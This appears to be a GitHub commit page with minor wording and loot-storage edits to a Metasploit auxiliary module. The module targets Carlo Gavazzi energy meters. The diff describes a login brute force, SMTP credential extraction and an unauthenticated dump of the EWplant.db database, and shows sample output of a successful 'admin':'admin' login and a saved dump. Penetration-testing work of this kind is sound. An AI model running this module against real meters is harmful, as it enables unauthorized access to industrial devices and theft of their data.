Skip to content

Commit 6bd09c1

Browse files
committed
Minor edits
1 parent c9a354b commit 6bd09c1

File tree

2 files changed

+9
-13
lines changed

2 files changed

+9
-13
lines changed

documentation/modules/auxiliary/scanner/http/gavazzi_em_login_loot.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication.
22

3-
The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db . This db file contains information such as power/energy utilization data, tariffs, and revenue statistics.
3+
The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics.
44

55
Vulnerable firmware versions include:
66

@@ -27,9 +27,9 @@ msf auxiliary(gavazzi_em_login_loot) > run
2727
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin"
2828
[+] 1.3.3.7:80 - Firmware version A8_U03...
2929
[+] 1.3.3.7:80 - SMTP server: "", SMTP username: "", SMTP password: ""
30-
[*] 1.3.3.7 - dumping EWplant.db
30+
[*] 1.3.3.7:80 - dumping EWplant.db
3131
[+] 1.3.3.7:80 - EWplant.db retrieved successfully!
32-
[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.bin
32+
[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000005_moduletest_1.3.3.7_EWplant.db_501578.db
3333
[*] Scanned 1 of 1 hosts (100% complete)
3434
[*] Auxiliary module execution completed
3535

modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb

Lines changed: 6 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ def initialize(info={})
1515
super(update_info(info,
1616
'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database',
1717
'Description' => %{
18-
This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db . This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17.
18+
This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17.
1919
},
2020
'References' =>
2121
[
@@ -258,16 +258,12 @@ def ewplantdb
258258
end
259259

260260
if res && res.code == 200
261-
print_status("#{rhost} - dumping EWplant.db")
261+
print_status("#{rhost}:#{rport} - dumping EWplant.db")
262262
print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!")
263-
path = store_loot(
264-
'EWplant.db',
265-
'SQLite_db/text',
266-
rhost,
267-
res.body,
268-
rport,
269-
'Carlo Gavazzi Energy Meter - EWplant.db'
270-
)
263+
loot_name = 'EWplant.db'
264+
loot_type = 'SQLite_db/text'
265+
loot_desc = 'Carlo Gavazzi EM - EWplant.db'
266+
path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body , loot_desc)
271267
print_good("#{rhost}:#{rport} - File saved in: #{path}")
272268
else
273269
vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?")

0 commit comments

Comments
 (0)